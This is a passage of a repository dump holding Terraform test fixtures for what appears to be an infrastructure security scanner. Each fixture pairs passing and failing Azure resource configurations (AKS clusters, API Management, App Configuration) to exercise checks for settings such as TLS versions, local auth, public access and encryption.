    "content": "resource \"azurerm_kubernetes_cluster\" \"pass\" {\n  name                  = \"internal\"\n  kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id\n  vm_size               = \"Standard_DS2_v2\"\n  node_count            = 1\n\n  default_node_pool {\n    name = \"default\"\n\n    enable_host_encryption       = true\n    vm_size                      = \"Standard_E4ads_v5\"\n    os_disk_type                 = \"Ephemeral\"\n    zones                        = [1, 2, 3]\n    only_critical_addons_enabled = true\n\n    type                 = \"VirtualMachineScaleSets\"\n    vnet_subnet_id       = var.subnet_id\n    enable_auto_scaling  = true\n    max_count            = 6\n    min_count            = 2\n    orchestrator_version = local.kubernetes_version\n  }\n\n}\n\nresource \"azurerm_kubernetes_cluster\" \"fail\" {\n  name                  = \"internal\"\n  kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id\n  vm_size               = \"Standard_DS2_v2\"\n  node_count            = 1\n\n  tags = {\n    Environment = \"Production\"\n  }\n\n  default_node_pool {\n    name = \"default\"\n\n    enable_host_encryption       = true\n    vm_size                      = \"Standard_E4ads_v5\"\n    zones                        = [1, 2, 3]\n    only_critical_addons_enabled = true\n\n    type                 = \"VirtualMachineScaleSets\"\n    vnet_subnet_id       = var.subnet_id\n    enable_auto_scaling  = true\n    max_count            = 6\n    min_count            = 2\n    orchestrator_version = local.kubernetes_version\n  }\n  \n}\n\nresource \"azurerm_kubernetes_cluster\" \"fail2\" {\n  name                  = \"internal\"\n  kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id\n  vm_size               = \"Standard_DS2_v2\"\n  node_count            = 1\n  os_disk_type          = \"Managed\"\n\n  tags = {\n    Environment = \"Production\"\n  }\n\n  default_node_pool {\n    name = \"default\"\n\n    enable_host_encryption       = true\n    vm_size                      = \"Standard_E4ads_v5\"\n    os_disk_type                 = \"Managed\"\n    zones                        = [1, 2, 3]\n    only_critical_addons_enabled = true\n\n    type                 = \"VirtualMachineScaleSets\"\n    vnet_subnet_id       = var.subnet_id\n    enable_auto_scaling  = true\n    max_count            = 6\n    min_count            = 2\n    orchestrator_version = local.kubernetes_version\n  }\n  \n\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AKSIsPaidSku/main.tf",
    "content": "resource \"azurerm_kubernetes_cluster\" \"pass\" {\n  name                = \"example-aks1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  dns_prefix          = \"exampleaks1\"\n  sku_tier            = \"Standard\"\n  default_node_pool {\n    name       = var.default_node_pool.name\n    node_count = var.default_node_pool.node_count\n    vm_size    = var.default_node_pool.vm_size\n    max_pods   = 51\n    type       = \"VirtualMachineScaleSets\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n\n  tags                    = var.tags\n  local_account_disabled  = var.local_account_disabled\n  private_cluster_enabled = var.private_cluster\n}\n\nresource \"azurerm_kubernetes_cluster\" \"fail\" {\n  name                = \"example-aks1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  dns_prefix          = \"exampleaks1\"\n  sku_tier            = \"Free\"\n  default_node_pool {\n    name       = var.default_node_pool.name\n    node_count = var.default_node_pool.node_count\n    vm_size    = var.default_node_pool.vm_size\n    max_pods   = 28\n    type       = \"AvailabilitySet\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n\n  tags                    = var.tags\n  local_account_disabled  = var.local_account_disabled\n  private_cluster_enabled = var.private_cluster\n}\n\nresource \"azurerm_kubernetes_cluster\" \"fail2\" {\n  name                = \"example-aks1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  dns_prefix          = \"exampleaks1\"\n\n  default_node_pool {\n    name       = var.default_node_pool.name\n    node_count = var.default_node_pool.node_count\n    vm_size    = var.default_node_pool.vm_size\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n\n  tags                    = var.tags\n  local_account_disabled  = var.local_account_disabled\n  private_cluster_enabled = var.private_cluster\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AKSLocalAdminDisabled/main.tf",
    "content": "## SHOULD PASS: Explicitly disabled\nresource \"azurerm_kubernetes_cluster\" \"ckv_unittest_pass\" {\n  name                   = \"example-aks1\"\n  location               = azurerm_resource_group.example.location\n  resource_group_name    = azurerm_resource_group.example.name\n  local_account_disabled = true\n\n  default_node_pool {\n    name       = \"default\"\n    node_count = 1\n    vm_size    = \"Standard_D2_v2\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  tags = {\n    Environment = \"Production\"\n  }\n}\n\n## SHOULD FAIL: Default is enabled\nresource \"azurerm_kubernetes_cluster\" \"ckv_unittest_fail\" {\n  name                = \"example-aks1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  default_node_pool {\n    name       = \"default\"\n    node_count = 1\n    vm_size    = \"Standard_D2_v2\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  tags = {\n    Environment = \"Production\"\n  }\n}\n\n## SHOULD FAIL: Explicitly enabled\nresource \"azurerm_kubernetes_cluster\" \"ckv_unittest_fail_2\" {\n  name                   = \"example-aks1\"\n  location               = azurerm_resource_group.example.location\n  resource_group_name    = azurerm_resource_group.example.name\n  local_account_disabled = false\n\n  default_node_pool {\n    name       = \"default\"\n    node_count = 1\n    vm_size    = \"Standard_D2_v2\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  tags = {\n    Environment = \"Production\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AKSMaxPodsMinimum/main.tf",
    "content": "resource \"azurerm_kubernetes_cluster\" \"pass\" {\n  name                = \"example-aks1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  dns_prefix          = \"exampleaks1\"\n\n  default_node_pool {\n    name       = var.default_node_pool.name\n    node_count = var.default_node_pool.node_count\n    vm_size    = var.default_node_pool.vm_size\n    max_pods   = 51\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n\n  tags                    = var.tags\n  local_account_disabled  = var.local_account_disabled\n  private_cluster_enabled = var.private_cluster\n}\n\nresource \"azurerm_kubernetes_cluster\" \"failed_empty_max_pods\" {\n  name                = \"example-aks1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  dns_prefix          = \"exampleaks1\"\n\n  default_node_pool {\n    name       = var.default_node_pool.name\n    node_count = var.default_node_pool.node_count\n    vm_size    = var.default_node_pool.vm_size\n    max_pods   = []\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n\n  tags                    = var.tags\n  local_account_disabled  = var.local_account_disabled\n  private_cluster_enabled = var.private_cluster\n}\n\nresource \"azurerm_kubernetes_cluster\" \"fail\" {\n  name                = \"example-aks1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  dns_prefix          = \"exampleaks1\"\n\n  default_node_pool {\n    name       = var.default_node_pool.name\n    node_count = var.default_node_pool.node_count\n    vm_size    = var.default_node_pool.vm_size\n    max_pods   = 28\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n\n  tags                    = var.tags\n  local_account_disabled  = var.local_account_disabled\n  private_cluster_enabled = var.private_cluster\n}\n\nresource \"azurerm_kubernetes_cluster\" \"fail2\" {\n  name                = \"example-aks1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  dns_prefix          = \"exampleaks1\"\n\n  default_node_pool {\n    name       = var.default_node_pool.name\n    node_count = var.default_node_pool.node_count\n    vm_size    = var.default_node_pool.vm_size\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n\n  tags                    = var.tags\n  local_account_disabled  = var.local_account_disabled\n  private_cluster_enabled = var.private_cluster\n}\n\nresource \"azurerm_kubernetes_cluster_node_pool\" \"pass\" {\n  name                  = \"internal\"\n  kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id\n  vm_size               = \"Standard_DS2_v2\"\n  node_count            = 1\n  max_pods              = 51\n  tags = {\n    Environment = \"Production\"\n  }\n}\n\nresource \"azurerm_kubernetes_cluster_node_pool\" \"fail\" {\n  name                  = \"internal\"\n  kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id\n  vm_size               = \"Standard_DS2_v2\"\n  node_count            = 1\n  max_pods              = 33\n  tags = {\n    Environment = \"Production\"\n  }\n}\n\nresource \"azurerm_kubernetes_cluster_node_pool\" \"fail2\" {\n  name                  = \"internal\"\n  kubernetes_cluster_id = azurerm_kubernetes_cluster.example.id\n  vm_size               = \"Standard_DS2_v2\"\n  node_count            = 1\n  tags = {\n    Environment = \"Production\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AKSNodePublicIpDisabled/main.tf",
    "content": "## SHOULD PASS: Default is false\nresource \"azurerm_kubernetes_cluster\" \"ckv_unittest_pass\" {\n  name                = \"example-aks1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  dns_prefix          = \"exampleaks1\"\n\n  default_node_pool {\n    name       = \"default\"\n    node_count = 1\n    vm_size    = \"Standard_D2_v2\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  tags = {\n    Environment = \"Production\"\n  }\n}\n\n\n## SHOULD FAIL: Explicitly set to true\nresource \"azurerm_kubernetes_cluster\" \"ckv_unittest_fail\" {\n  name                = \"example-aks1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  dns_prefix          = \"exampleaks1\"\n\n  default_node_pool {\n    name                  = \"default\"\n    node_count            = 1\n    vm_size               = \"Standard_D2_v2\"\n    enable_node_public_ip = true\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  tags = {\n    Environment = \"Production\"\n  }\n}\n\nresource \"azurerm_kubernetes_cluster\" \"fail\" {\n  name                = \"example-aks1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  dns_prefix          = \"exampleaks1\"\n\n  default_node_pool {\n    name       = \"default\"\n    node_count = 1\n    vm_size    = \"Standard_D2_v2\"\n    node_public_ip_enabled = true\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AKSOnlyCriticalPodsOnSystemNodes/main.tf",
    "content": "resource \"azurerm_kubernetes_cluster\" \"pass\" {\n  name                      = \"example\"\n  \n  default_node_pool {\n    name                         = \"defaultpool\"\n    only_critical_addons_enabled = true\n  }\n}\n\nresource \"azurerm_kubernetes_cluster\" \"fail1\" {\n  name                      = \"example\"\n  \n  default_node_pool {\n    name                         = \"defaultpool\"\n  }\n}\n\nresource \"azurerm_kubernetes_cluster\" \"fail2\" {\n  name                      = \"example\"\n  \n  default_node_pool {\n    name                         = \"defaultpool\"\n    only_critical_addons_enabled = false\n  }\n}\n\nresource \"azurerm_kubernetes_cluster\" \"fail3\" {\n  name                      = \"example\"\n  \n}\n\nresource \"azurerm_kubernetes_cluster\" \"fail4\" {\n  name                         = \"example\"\n  only_critical_addons_enabled = true\n  \n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AKSPoolTypeIsScaleSet/main.tf",
    "content": "resource \"azurerm_kubernetes_cluster\" \"pass\" {\n  name                = \"example-aks1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  dns_prefix          = \"exampleaks1\"\n\n  default_node_pool {\n    name       = var.default_node_pool.name\n    node_count = var.default_node_pool.node_count\n    vm_size    = var.default_node_pool.vm_size\n    max_pods   = 51\n    type       = \"VirtualMachineScaleSets\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n\n  tags                    = var.tags\n  local_account_disabled  = var.local_account_disabled\n  private_cluster_enabled = var.private_cluster\n}\n\nresource \"azurerm_kubernetes_cluster\" \"fail\" {\n  name                = \"example-aks1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  dns_prefix          = \"exampleaks1\"\n\n  default_node_pool {\n    name       = var.default_node_pool.name\n    node_count = var.default_node_pool.node_count\n    vm_size    = var.default_node_pool.vm_size\n    max_pods   = 28\n    type       = \"AvailabilitySet\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n\n  tags                    = var.tags\n  local_account_disabled  = var.local_account_disabled\n  private_cluster_enabled = var.private_cluster\n}\n\nresource \"azurerm_kubernetes_cluster\" \"pass2\" {\n  name                = \"example-aks1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  dns_prefix          = \"exampleaks1\"\n\n  default_node_pool {\n    name       = var.default_node_pool.name\n    node_count = var.default_node_pool.node_count\n    vm_size    = var.default_node_pool.vm_size\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n\n  tags                    = var.tags\n  local_account_disabled  = var.local_account_disabled\n  private_cluster_enabled = var.private_cluster\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AKSSecretStoreRotation/main.tf",
    "content": "resource \"azurerm_kubernetes_cluster\" \"pass\" {\n  name                = \"example-aks1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  dns_prefix          = \"exampleaks1\"\n  sku_tier            = \"Paid\"\n\n  key_vault_secrets_provider {\n    secret_rotation_enabled = true\n  }\n  default_node_pool {\n    name       = var.default_node_pool.name\n    node_count = var.default_node_pool.node_count\n    vm_size    = var.default_node_pool.vm_size\n    max_pods   = 51\n    type       = \"VirtualMachineScaleSets\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n\n  tags                    = var.tags\n  local_account_disabled  = var.local_account_disabled\n  private_cluster_enabled = var.private_cluster\n}\n\nresource \"azurerm_kubernetes_cluster\" \"fail\" {\n  name                = \"example-aks1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  dns_prefix          = \"exampleaks1\"\n  sku_tier            = \"Free\"\n  default_node_pool {\n    name       = var.default_node_pool.name\n    node_count = var.default_node_pool.node_count\n    vm_size    = var.default_node_pool.vm_size\n    max_pods   = 28\n    type       = \"AvailabilitySet\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n\n  tags                    = var.tags\n  local_account_disabled  = var.local_account_disabled\n  private_cluster_enabled = var.private_cluster\n}\n\nresource \"azurerm_kubernetes_cluster\" \"fail2\" {\n  name                = \"example-aks1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  dns_prefix          = \"exampleaks1\"\n  key_vault_secrets_provider {\n    secret_rotation_enabled = false\n  }\n  default_node_pool {\n    name       = var.default_node_pool.name\n    node_count = var.default_node_pool.node_count\n    vm_size    = var.default_node_pool.vm_size\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n\n  tags                    = var.tags\n  local_account_disabled  = var.local_account_disabled\n  private_cluster_enabled = var.private_cluster\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AKSUpgradeChannel/main.tf",
    "content": "resource \"azurerm_kubernetes_cluster\" \"pass_new\" {\n  name                      = \"example-aks1\"\n  location                  = azurerm_resource_group.example.location\n  resource_group_name       = azurerm_resource_group.example.name\n  dns_prefix                = \"exampleaks1\"\n  automatic_upgrade_channel = \"stable\"\n  default_node_pool {\n    name       = var.default_node_pool.name\n    node_count = var.default_node_pool.node_count\n    vm_size    = var.default_node_pool.vm_size\n    max_pods   = 51\n    type       = \"VirtualMachineScaleSets\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  tags                    = var.tags\n  local_account_disabled  = var.local_account_disabled\n  private_cluster_enabled = var.private_cluster\n}\n\nresource \"azurerm_kubernetes_cluster\" \"pass_old\" {\n  name                      = \"example-aks1\"\n  location                  = azurerm_resource_group.example.location\n  resource_group_name       = azurerm_resource_group.example.name\n  dns_prefix                = \"exampleaks1\"\n  automatic_channel_upgrade = \"stable\"\n  default_node_pool {\n    name       = var.default_node_pool.name\n    node_count = var.default_node_pool.node_count\n    vm_size    = var.default_node_pool.vm_size\n    max_pods   = 51\n    type       = \"VirtualMachineScaleSets\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  tags                    = var.tags\n  local_account_disabled  = var.local_account_disabled\n  private_cluster_enabled = var.private_cluster\n}\n\nresource \"azurerm_kubernetes_cluster\" \"fail_new\" {\n  name                      = \"example-aks1\"\n  location                  = azurerm_resource_group.example.location\n  resource_group_name       = azurerm_resource_group.example.name\n  dns_prefix                = \"exampleaks1\"\n  automatic_upgrade_channel = \"none\"\n\n  default_node_pool {\n    name       = var.default_node_pool.name\n    node_count = var.default_node_pool.node_count\n    vm_size    = var.default_node_pool.vm_size\n    max_pods   = 28\n    type       = \"AvailabilitySet\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n\n  tags                    = var.tags\n  local_account_disabled  = var.local_account_disabled\n  private_cluster_enabled = var.private_cluster\n}\n\nresource \"azurerm_kubernetes_cluster\" \"fail2_new\" {\n  name                = \"example-aks1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  dns_prefix          = \"exampleaks1\"\n\n  default_node_pool {\n    name       = var.default_node_pool.name\n    node_count = var.default_node_pool.node_count\n    vm_size    = var.default_node_pool.vm_size\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n\n  tags                    = var.tags\n  local_account_disabled  = var.local_account_disabled\n  private_cluster_enabled = var.private_cluster\n}\n\nresource \"azurerm_kubernetes_cluster\" \"fail_old\" {\n  name                      = \"example-aks1\"\n  location                  = azurerm_resource_group.example.location\n  resource_group_name       = azurerm_resource_group.example.name\n  dns_prefix                = \"exampleaks1\"\n  automatic_channel_upgrade = \"none\"\n\n  default_node_pool {\n    name       = var.default_node_pool.name\n    node_count = var.default_node_pool.node_count\n    vm_size    = var.default_node_pool.vm_size\n    max_pods   = 28\n    type       = \"AvailabilitySet\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n\n  tags                    = var.tags\n  local_account_disabled  = var.local_account_disabled\n  private_cluster_enabled = var.private_cluster\n}\n\nresource \"azurerm_kubernetes_cluster\" \"fail2_old\" {\n  name                = \"example-aks1\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  dns_prefix          = \"exampleaks1\"\n\n  default_node_pool {\n    name       = var.default_node_pool.name\n    node_count = var.default_node_pool.node_count\n    vm_size    = var.default_node_pool.vm_size\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n\n  tags                    = var.tags\n  local_account_disabled  = var.local_account_disabled\n  private_cluster_enabled = var.private_cluster\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_APIManagementBackendHTTPS/main.tf",
    "content": "resource \"azurerm_api_management_backend\" \"pass\" {\n  name                = \"example-pike\"\n  resource_group_name = azurerm_resource_group.example.name\n  api_management_name = azurerm_api_management.example.name\n  protocol            = \"http\"\n  url                 = \"https://backend\"\n}\n\nresource \"azurerm_api_management_backend\" \"fail\" {\n  name                = \"example-backend\"\n  resource_group_name = azurerm_resource_group.example.name\n  api_management_name = azurerm_api_management.example.name\n  protocol            = \"http\"\n  url                 = \"http://backend\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_APIManagementCertsEnforced/main.tf",
    "content": "resource \"azurerm_api_management\" \"ignore\" {\n  name                = \"example-apim\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  publisher_name      = \"My Company\"\n  publisher_email     = \"company@terraform.io\"\n\n  sku_name = \"Developer_1\"\n\n  policy {\n    xml_content = <<XML\n                    <policies>\n                      <inbound />\n                      <backend />\n                      <outbound />\n                      <on-error />\n                    </policies>\n                XML\n\n  }\n  security {\n    enable_frontend_tls10 = false\n    enable_frontend_tls11 = false\n    enable_frontend_ssl30 = false\n  }\n\n  identity {\n\n  }\n}\nresource \"azurerm_api_management\" \"faulty\" {\n}\n\n#not set\nresource \"azurerm_api_management\" \"fail\" {\n  name                = \"example-apim\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  publisher_name      = \"My Company\"\n  publisher_email     = \"company@terraform.io\"\n\n  sku_name = \"Consumption\"\n\n  policy {\n    xml_content = <<XML\n                    <policies>\n                      <inbound />\n                      <backend />\n                      <outbound />\n                      <on-error />\n                    </policies>\n                XML\n\n  }\n  security {\n    enable_frontend_tls10 = false\n    enable_frontend_tls11 = false\n    enable_frontend_ssl30 = false\n  }\n\n  identity {\n\n  }\n}\n\n#false\nresource \"azurerm_api_management\" \"fail2\" {\n  name                = \"example-apim\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  publisher_name      = \"My Company\"\n  publisher_email     = \"company@terraform.io\"\n\n  sku_name                   = \"Consumption\"\n  client_certificate_enabled = false\n\n  policy {\n    xml_content = <<XML\n                    <policies>\n                      <inbound />\n                      <backend />\n                      <outbound />\n                      <on-error />\n                    </policies>\n                XML\n\n  }\n  security {\n    enable_frontend_tls10 = false\n    enable_frontend_tls11 = false\n    enable_frontend_ssl30 = false\n  }\n\n  identity {\n\n  }\n}\n\n\nresource \"azurerm_api_management\" \"pass\" {\n  name                = \"example-apim\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  publisher_name      = \"My Company\"\n  publisher_email     = \"company@terraform.io\"\n\n  sku_name                   = \"Consumption\"\n  client_certificate_enabled = true\n\n  policy {\n    xml_content = <<XML\n                    <policies>\n                      <inbound />\n                      <backend />\n                      <outbound />\n                      <on-error />\n                    </policies>\n                XML\n\n  }\n  security {\n    enable_frontend_tls10 = false\n    enable_frontend_tls11 = false\n    enable_frontend_ssl30 = false\n  }\n\n  identity {\n\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_APIManagementMinTLS12/main.tf",
    "content": "resource \"azurerm_api_management\" \"pass\" {\n  name                       = var.api.name\n  location                   = var.location\n  resource_group_name        = var.rg_name\n  publisher_name             = var.api.publisher_name\n  publisher_email            = var.api.publisher_email\n  sku_name                   = var.api.sku_name\n  client_certificate_enabled = var.client_certificate\n  virtual_network_type       = var.api.virtual_network_type\n\n  virtual_network_configuration {\n    subnet_id = var.api.subnet_id\n  }\n}\n\nresource \"azurerm_api_management\" \"fail\" {\n  name                       = var.api.name\n  location                   = var.location\n  resource_group_name        = var.rg_name\n  publisher_name             = var.api.publisher_name\n  publisher_email            = var.api.publisher_email\n  sku_name                   = var.api.sku_name\n  client_certificate_enabled = var.client_certificate\n  virtual_network_type       = var.api.virtual_network_type\n\n  security {\n    enable_back_end_ssl30 = true\n  }\n\n  virtual_network_configuration {\n    subnet_id = var.api.subnet_id\n  }\n}\n\nresource \"azurerm_api_management\" \"fail2\" {\n  name                       = var.api.name\n  location                   = var.location\n  resource_group_name        = var.rg_name\n  publisher_name             = var.api.publisher_name\n  publisher_email            = var.api.publisher_email\n  sku_name                   = var.api.sku_name\n  client_certificate_enabled = var.client_certificate\n  virtual_network_type       = var.api.virtual_network_type\n\n  security {\n    enable_backend_tls10 = true\n  }\n\n  virtual_network_configuration {\n    subnet_id = var.api.subnet_id\n  }\n}\n\nresource \"azurerm_api_management\" \"fail3\" {\n  name                       = var.api.name\n  location                   = var.location\n  resource_group_name        = var.rg_name\n  publisher_name             = var.api.publisher_name\n  publisher_email            = var.api.publisher_email\n  sku_name                   = var.api.sku_name\n  client_certificate_enabled = var.client_certificate\n  virtual_network_type       = var.api.virtual_network_type\n\n  security {\n    enable_frontend_ssl30 = true\n  }\n\n  virtual_network_configuration {\n    subnet_id = var.api.subnet_id\n  }\n}\n\nresource \"azurerm_api_management\" \"fail4\" {\n  name                       = var.api.name\n  location                   = var.location\n  resource_group_name        = var.rg_name\n  publisher_name             = var.api.publisher_name\n  publisher_email            = var.api.publisher_email\n  sku_name                   = var.api.sku_name\n  client_certificate_enabled = var.client_certificate\n  virtual_network_type       = var.api.virtual_network_type\n\n  security {\n    enable_frontend_tls10 = true\n  }\n\n  virtual_network_configuration {\n    subnet_id = var.api.subnet_id\n  }\n}\nresource \"azurerm_api_management\" \"fail5\" {\n  name                       = var.api.name\n  location                   = var.location\n  resource_group_name        = var.rg_name\n  publisher_name             = var.api.publisher_name\n  publisher_email            = var.api.publisher_email\n  sku_name                   = var.api.sku_name\n  client_certificate_enabled = var.client_certificate\n  virtual_network_type       = var.api.virtual_network_type\n\n  security {\n    enable_frontend_tls11 = true\n  }\n\n  virtual_network_configuration {\n    subnet_id = var.api.subnet_id\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_APIManagementPublicAccess/main.tf",
    "content": "\nresource \"azurerm_api_management\" \"fail\" {\n  name                = \"example-apim\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  publisher_name      = \"My Company\"\n  publisher_email     = \"company@terraform.io\"\n\n  sku_name = \"Consumption\"\n\n  policy {\n    xml_content = <<XML\n                    <policies>\n                      <inbound />\n                      <backend />\n                      <outbound />\n                      <on-error />\n                    </policies>\n                XML\n\n  }\n  security {\n    enable_frontend_tls10 = false\n    enable_frontend_tls11 = false\n    enable_frontend_ssl30 = false\n  }\n\n  public_network_access_enabled = true\n}\n\n\nresource \"azurerm_api_management\" \"fail2\" {\n  name                = \"example-apim\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  publisher_name      = \"My Company\"\n  publisher_email     = \"company@terraform.io\"\n\n  sku_name = \"Consumption\"\n  client_certificate_enabled = false\n\n  policy {\n    xml_content = <<XML\n                    <policies>\n                      <inbound />\n                      <backend />\n                      <outbound />\n                      <on-error />\n                    </policies>\n                XML\n\n  }\n  security {\n    enable_frontend_tls10 = false\n    enable_frontend_tls11 = false\n    enable_frontend_ssl30 = false\n  }\n\n  identity {\n\n  }\n}\n\n\nresource \"azurerm_api_management\" \"pass\" {\n  name                = \"example-apim\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  publisher_name      = \"My Company\"\n  publisher_email     = \"company@terraform.io\"\n\n  sku_name = \"Consumption\"\n  client_certificate_enabled = true\n\n  policy {\n    xml_content = <<XML\n                    <policies>\n                      <inbound />\n                      <backend />\n                      <outbound />\n                      <on-error />\n                    </policies>\n                XML\n\n  }\n  security {\n    enable_frontend_tls10 = false\n    enable_frontend_tls11 = false\n    enable_frontend_ssl30 = false\n  }\n\n public_network_access_enabled = false\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppConfigEncryption/main.tf",
    "content": "resource \"azurerm_app_configuration\" \"pass\" {\n  name                       = \"appConf2\"\n  resource_group_name        = azurerm_resource_group.example.name\n  location                   = azurerm_resource_group.example.location\n  sku                        = \"standard\"\n  local_auth_enabled         = true\n  public_network_access      = \"Enabled\"\n  purge_protection_enabled   = false\n  soft_delete_retention_days = 1\n\n  identity {\n    type = \"UserAssigned\"\n    identity_ids = [\n      azurerm_user_assigned_identity.example.id,\n    ]\n  }\n\n  encryption {\n    key_vault_key_identifier = azurerm_key_vault_key.example.id\n    identity_client_id       = azurerm_user_assigned_identity.example.client_id\n  }\n\n  tags = {\n    environment = \"development\"\n  }\n}\n\nresource \"azurerm_app_configuration\" \"fail\" {\n  name                       = \"appConf2\"\n  resource_group_name        = azurerm_resource_group.example.name\n  location                   = azurerm_resource_group.example.location\n  sku                        = \"standard\"\n  local_auth_enabled         = true\n  public_network_access      = \"Enabled\"\n  purge_protection_enabled   = false\n  soft_delete_retention_days = 1\n\n  identity {\n    type = \"UserAssigned\"\n    identity_ids = [\n      azurerm_user_assigned_identity.example.id,\n    ]\n  }\n\n  tags = {\n    environment = \"development\"\n  }\n}\n\nresource \"azurerm_app_configuration\" \"fail2\" {\n  name                       = \"appConf2\"\n  resource_group_name        = azurerm_resource_group.example.name\n  location                   = azurerm_resource_group.example.location\n  sku                        = \"standard\"\n  local_auth_enabled         = true\n  public_network_access      = \"Enabled\"\n  purge_protection_enabled   = false\n  soft_delete_retention_days = 1\n\n  identity {\n    type = \"UserAssigned\"\n    identity_ids = [\n      azurerm_user_assigned_identity.example.id,\n    ]\n  }\n\n  encryption {\n    identity_client_id       = azurerm_user_assigned_identity.example.client_id\n  }\n\n  tags = {\n    environment = \"development\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/azure/example_AppConfigLocalAuth/main.tf",
    "content": "resource \"azurerm_app_configuration\" \"pass\" {\n  name                       = \"appConf2\"\n  resource_group_name        = azurerm_resource_group.example.name\n  location                   = azurerm_resource_group.example.location\n  sku                        = \"standard\"\n  local_auth_enabled         = false\n  public_network_access      = \"Enabled\"\n  purge_protection_enabled   = false\n  soft_delete_retention_days = 1\n\n  identity {\n    type = \"UserAssigned\"\n    identity_ids = [\n      azurerm_user_assigned_identity.example.id,\n    ]\n  }\n\n  encryption {\n    key_vault_key_identifier = azurerm_key_vault_key.example.id\n    identity_client_id       = azurerm_user_assigned_identity.example.client_id\n  }\n\n  tags = {\n    environment = \"development\"\n  }\n}\n\nresource \"azurerm_app_configuration\" \"fail\" {\n  name                       = \"appConf2\"\n  resource_group_name        = azurerm_resource_group.example.name\n  location                   = azurerm_resource_group.example.location\n  sku                        = \"standard\"\n  local_auth_enabled         = true\n  public_network_access      = \"Enabled\"\n  purge_protection_enabled   = false\n  soft_delete_retention_days = 1\n\n  identity {\n    type = \"UserAssigned\"\n    identity_ids = [\n      azurerm_user_assigned_identity.example.id,\n    ]\n  }\n\n  tags = {\n    environment = \"development\"\n  }\n}\n\nresource 